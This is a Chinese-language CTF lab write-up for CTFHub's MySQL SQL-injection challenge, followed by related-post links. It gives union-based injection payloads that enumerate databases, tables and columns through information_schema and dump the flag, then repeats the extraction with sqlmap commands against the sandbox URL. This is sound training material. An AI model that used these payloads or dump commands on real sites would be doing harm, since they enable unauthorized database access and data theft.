CTFHUB技能树之SQL——MySQL结构

开启靶场,打开链接:

先判断一下是哪种类型的SQL注入:

1 and 1=1#

正常回显


1 and 1=2#

回显错误,说明是整数型注入


判断一下字段数:

1 order by 2#

正常回显

1 order by 3#

回显错误,说明字段数是2列


知道字段数量为2后,可以查看数据库位置

1 union select 1,2#

没有发现数据,猜测数据可能不存在数据库中,修改注入语句


1 and 1=2 union select 1,2#或者-1 union select 1,2#都行


(1)查看数据库名

-1 union select 1,database()#


(2)查看全部数据库名

-1 union select 1,group_concat(schema_name)from information_schema.schemata#

可以发现sqli不是自带的数据库


(3)查看表名

-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'#


(4)查看列名

-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='ufnanbfswh'#


(5)查看字段内容(flag)

-1 union select 1,group_concat(cqnstcfhov) from sqli.ufnanbfswh#

ctfhub{3f3b08fb458cc15178c70beb}


接下来用sqlmap一把梭:

(1)查看数据库名

python sqlmap.py -u "http://challenge-e23ec2503ef3e30f.sandbox.ctfhub.com:10800/?id=1" -dbs


(2)查看表名

python sqlmap.py -u "http://challenge-e23ec2503ef3e30f.sandbox.ctfhub.com:10800/?id=1" -D sqli -tables


(3)查看列名

python sqlmap.py -u "http://challenge-e23ec2503ef3e30f.sandbox.ctfhub.com:10800/?id=1" -D sqli -T ufnanbfswh -columns


(4)查看字段内容(flag)

python sqlmap.py -u "http://challenge-e23ec2503ef3e30f.sandbox.ctfhub.com:10800/?id=1" -D sqli -T ufnanbfswh -C cqnstcfhov -dump


或者得知数据库名和表名的情况下直接梭出字段内容:

python sqlmap.py -u "http://challenge-e23ec2503ef3e30f.sandbox.ctfhub.com:10800/?id=1" -D sqli -T ufnanbfswh --dump


要是时间够的话得知数据库名的情况下,直接一把梭:

python sqlmap.py -u "http://challenge-e23ec2503ef3e30f.sandbox.ctfhub.com:10800/?id=1" -D sqli --dump

相关推荐
woshilys18 分钟前
sql server 查询对象的修改时间
运维·数据库·sqlserver
Hacker_LaoYi19 分钟前
SQL注入的那些面试题总结
数据库·sql
建投数据1 小时前
建投数据与腾讯云数据库TDSQL完成产品兼容性互认证
数据库·腾讯云
Hacker_LaoYi2 小时前
【渗透技术总结】SQL手工注入总结
数据库·sql
岁月变迁呀2 小时前
Redis梳理
数据库·redis·缓存
独行soc2 小时前
#渗透测试#漏洞挖掘#红蓝攻防#护网#sql注入介绍06-基于子查询的SQL注入(Subquery-Based SQL Injection)
数据库·sql·安全·web安全·漏洞挖掘·hw
你的微笑,乱了夏天3 小时前
linux centos 7 安装 mongodb7
数据库·mongodb
工业甲酰苯胺3 小时前
分布式系统架构:服务容错
数据库·架构
独行soc4 小时前
#渗透测试#漏洞挖掘#红蓝攻防#护网#sql注入介绍08-基于时间延迟的SQL注入(Time-Based SQL Injection)
数据库·sql·安全·渗透测试·漏洞挖掘
White_Mountain4 小时前
在Ubuntu中配置mysql,并允许外部访问数据库
数据库·mysql·ubuntu